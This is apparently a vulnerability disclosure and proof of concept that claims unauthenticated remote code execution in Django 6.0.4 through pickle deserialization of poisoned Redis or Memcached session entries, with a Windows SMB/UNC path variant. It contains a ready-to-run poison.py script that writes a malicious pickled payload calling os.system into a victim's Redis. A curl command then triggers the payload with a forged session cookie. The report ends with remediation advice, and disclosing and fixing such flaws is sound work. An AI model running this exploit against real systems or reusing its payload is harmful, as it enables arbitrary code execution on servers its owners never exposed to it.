Django - Version 6.0.4 / Remote Code Execution (RCE) via Insecure Deserialization (Redis, Memcached & SMB/UNC Path Redirection) based on Cache Poisoning
Below are one (1) way to reproduce RCE in Django using a cache poisoning attack, without authentication or local intervention by a third party to modify files that allow code execution during the deserialization process.
For this PoC, two (2) different devices were used to simulate the interaction between an attacking machine (Raspberry Pi with IP 192.168.1.90) and a victim machine (Windows with IP 192.168.1.88).
Note: While this vulnerability is specifically verified and reported on version 6.0.4, other prior and subsequent versions may also be susceptible to this insecure deserialization vector.
Introduction
Django is a high-level Python web framework designed to encourage rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, allowing creators to focus on writing their app without needing to reinvent the wheel. It is free, open-source, and widely recognized for its "batteries-included" philosophy, providing out-of-the-box features for user authentication, content administration, site maps, and RSS feeds.
As one of the most prominent web frameworks globally, Django powers massive web applications and APIs, handling backend routing, database management via its built-in Object-Relational Mapper (ORM), and session state. Because of its security-conscious defaults, scale of adoption, and central role in corporate web infrastructures, vulnerabilities that break these assumptions—specifically unauthenticated RCE pathways—pose a critical risk to systems globally.
Vulnerability description
The vulnerability is a classic insecure deserialization flaw present in multiple Django cache backends. Both RedisCache and MemcachedCache (specifically PyMemcacheCache) rely on the pickle module by default to serialize and deserialize Python objects for storage. When the application retrieves data from these remote services (e.g., during session loading), the bytes returned from the network are passed directly to pickle.loads().
If an attacker can influence the content of the cache—via an exposed Redis/Memcached port, SSRF, or lateral movement—they can achieve unauthenticated Remote Code Execution (RCE).
The vulnerable code in django/core/cache/backends/redis.py (Redis):
class RedisSerializer:
def loads(self, data):
try:
return int(data)
except ValueError:
return pickle.loads(data) # <--- Critical Sink
The vulnerable code in django/core/cache/backends/memcached.py (Memcached):
class PyMemcacheCache(BaseMemcachedCache):
def __init__(self, server, params):
import pymemcache.serde
# ...
self._options = {
# ...
"serde": pymemcache.serde.pickle_serde, # <--- Uses pickle.loads internally
**self._options,
}
Vector #2: Remote Code Execution (RCE) via SMB/UNC Path Redirection
On Windows, Django allows the configuration of various "Path Directives" (e.g., SESSION_FILE_PATH, CACHES['default']['LOCATION']). Because the underlying Python file operations (open, os.path.join) and Django's key-to-file logic resolve Universal Naming Convention (UNC) paths, an attacker can redirect the application to load serialized objects from a remote SMB share. This transforms a typically "local-only" file-based sink into a remote exploitation vector.
Vulnerable Code Path (django/contrib/sessions/backends/file.py):
def load(self):
# ...
# Path Directive (LOCATION or SESSION_FILE_PATH) can be \\attacker-ip\share
with open(self._key_to_file(), encoding="ascii") as session_file:
file_data = session_file.read()
if file_data:
session_data = self.decode(file_data) # <--- Triggers pickle.loads
Technical Impact Analysis
Project Purpose & Context
Django is one of the most widely used web frameworks in the Python ecosystem. To manage user state and optimize performance, it relies heavily on session and caching backends. In high-traffic or distributed environments, Redis is the industry standard for these tasks. By default, Django trusts the data returned from these backends as "vetted" and safe for execution-related tasks like object reconstruction.
Platform & Deployment Environment
This vulnerability is particularly critical in modern cloud and containerized environments (Kubernetes, AWS/GCP). In these settings, services like Redis are often shared between multiple microservices or exposed within the cluster without authentication. The assumption that the "internal network" is secure allows this vector to bypass traditional perimeter defenses.
Comprehensive Risk Assessment
The risk is classified as Critical. An attacker does not need to be authenticated to the Django application or have any local access to the server's filesystem. Control over the data-tier (Redis or Memcached) is enough to pivot into the application-tier. In multi-tenant environments, shared cache clusters, or networks vulnerable to SSRF, this leads to immediate lateral movement and full system compromise.
Furthermore, Windows-based deployments face a unique "Path Redirection" risk. If any part of the application allows for the injection or manipulation of a filesystem path setting—common in CI/CD pipeline automation or misconfigured management interfaces—an attacker can force a remote resource load over SMB. This bypasses the typical security assumption that filesystem-based persistence is inherently safer than network-based persistence.
Attack Scenario
Who wants to exploit a particular vulnerability?
An attacker who has gained initial access to a corporate network, identifies an unauthenticated internal Redis or Memcached instance, or discovers an SSRF (Server-Side Request Forgery) vulnerability in a microservice that can reach the internal infrastructure.
For what gain?
The gain is unauthenticated Remote Code Execution (RCE). This allows the attacker to execute arbitrary commands under the privileges of the Django service account, providing a foothold for data exfiltration, service disruption, or further lateral movement into the cloud infrastructure.
In what way?
The attacker uses a Redis/Memcached client to set a specific key in the cache that corresponds to a Django Session ID. By visiting the application with a sessionid cookie matching the poisoned key, the attacker forces Django's SessionMiddleware to fetch the malicious payload from the infrastructure and pass it to the pickle.loads() sink.
Reproduction steps
On Windows (victim) - IP 192.168.1.88
(.venv) PS L:\Pickle-RCE-Finder\PYPI-django> Get-NetIPAddress -AddressFamily IPv4 | Where-Object PrefixOrigin -eq "Dhcp" | Select-Object -ExpandProperty IPAddress
192.168.1.88
1. Create a .venv, activate it, and install the latest updated version (6.0.4) of Django using pip install Django.
2. Install redis package pip install redis and then, deploy Redis in a Docker container docker run --name my-redis -p 6379:6379 -d redis.
3. Create a minimalist web app project python -m django startproject vulnerable_project ..
4. Modify vulnerable_project/settings.py to use Redis for both caching and session storage; ensure pickle is the serializer (default in Django 6.0.4 for RedisCache).
Add or modify these settings in vulnerable_project/settings.py:
CACHES = {
"default": {
"BACKEND": "django.core.cache.backends.redis.RedisCache",
"LOCATION": "redis://127.0.0.1:6379",
}
}
# Force sessions to be stored in the cache
SESSION_ENGINE = "django.contrib.sessions.backends.cache"
SESSION_CACHE_ALIAS = "default"
ALLOWED_HOSTS = ['*']
5. And start the server:
python manage.py runserver 0.0.0.0:8000
On the Raspberry (attacker) - IP 192.168.1.90
kw0@kw0l4b:~ $ hostname -I | awk '{print $1}'
192.168.1.90
Run the specialized poison.py script to generate and inject the poisoned session ID into Redis:
import redis
import pickle
import base64
# Configuration
REDIS_HOST = '192.168.1.88'
REDIS_PORT = 6379
# This matches the sessionid we will use in the cookie
SESSION_ID = 'pwned_session_1337'
# Django session cache prefix (Default format is ':1:key')
CACHE_KEY = f":1:django.contrib.sessions.cache{SESSION_ID}"
class RCE:
def __reduce__(self):
# Using the Universal Pattern to ensure
# Cross-Platform compatibility (Linux -> Windows)
return (eval, ("__import__('os').system('calc.exe') or {}",))
def poison_redis():
print(f"[*] Connecting to Redis at {REDIS_HOST}:{REDIS_PORT}...")
r = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
# Create the malicious payload
payload = RCE()
pickled_payload = pickle.dumps(payload)
print(f"[*] Poisoning key: {CACHE_KEY}")
# Django's RedisCache stores the pickle directly
r.set(CACHE_KEY, pickled_payload)
print("[+] Cache poisoned successfully!")
if __name__ == "__main__":
poison_redis()
Run the exploit deserialization:
curl -v http://192.168.1.88:8000/admin/ --cookie "sessionid=pwned_session_1337"
And in the victim host:
Executive Summary: RCE via Cache Poisoning and Insecure Pickle Deserialization in Django
The research identifies a critical Remote Code Execution (RCE) vulnerability in Django v6.0.4, affecting its RedisCache and MemcachedCache backends.
- Root Cause:
Django’s cache backends utilize thepicklemodule by default to serialize and deserialize Python objects. When the framework retrieves cached data (such as session objects) from Redis or Memcached, it passes the retrieved bytes directly topickle.loads()without verification. - Exploitation Mechanism: An attacker with network access to the unauthenticated Redis or Memcached instance can inject a malicious serialized Python object into a session key. By providing the corresponding
sessionidcookie to theDjangoapplication, the attacker forces the server to deserialize the poisoned object, triggering arbitrary code execution.
Analysis of Scope and Security Implications
This vulnerability is of critical severity, as it enables unauthenticated RCE by manipulating backend infrastructure.
1. Infection Scenarios
- Cache Poisoning: An attacker can replace legitimate session data in a shared Redis/Memcached cluster with a malicious
picklepayload. The vulnerability is triggered automatically when the application attempts to load the user's session from the cache. - SMB/UNC Path Redirection: On Windows-based deployments,
Django’s reliance onos.pathand file operations allows an attacker to redirect session loading to a remote SMB share, transforming a local file-based sink into a remote exploitation vector.
2. Factors Exacerbating Risk
- Implicit Trust:
Djangoassumes data retrieved from configured cache backends is inherently safe, failing to perform any integrity checks or signature validation before deserialization. - Network Transparency: In modern containerized or cloud environments, internal services like Redis are frequently exposed without authentication, providing an easy entry point for lateral movement from the internal network.
- Wide Applicability: Given
Django’s widespread use in distributed web architectures, this vulnerability places a vast number of high-traffic applications at risk of full system compromise.
Conclusion and Recommendation
This is a critical-severity vulnerability. The reliance on pickle for deserializing data from networked cache services renders the application highly susceptible to unauthenticated RCE.
Suggested actions for the development team:
- Replace Pickle: Immediately deprecate the use of
picklefor cache and session serialization. Replace it with secure, non-executable data formats such asJSONorProtobufthat do not support arbitrary code execution primitives. - Implement Integrity Checks: If complex object serialization is required, implement mandatory cryptographic signing (e.g.,
HMAC) for all cached data to ensure authenticity before deserialization. - Network Hardening: Enforce authentication and access controls for all Redis and Memcached backends to prevent unauthorized modification of cached data.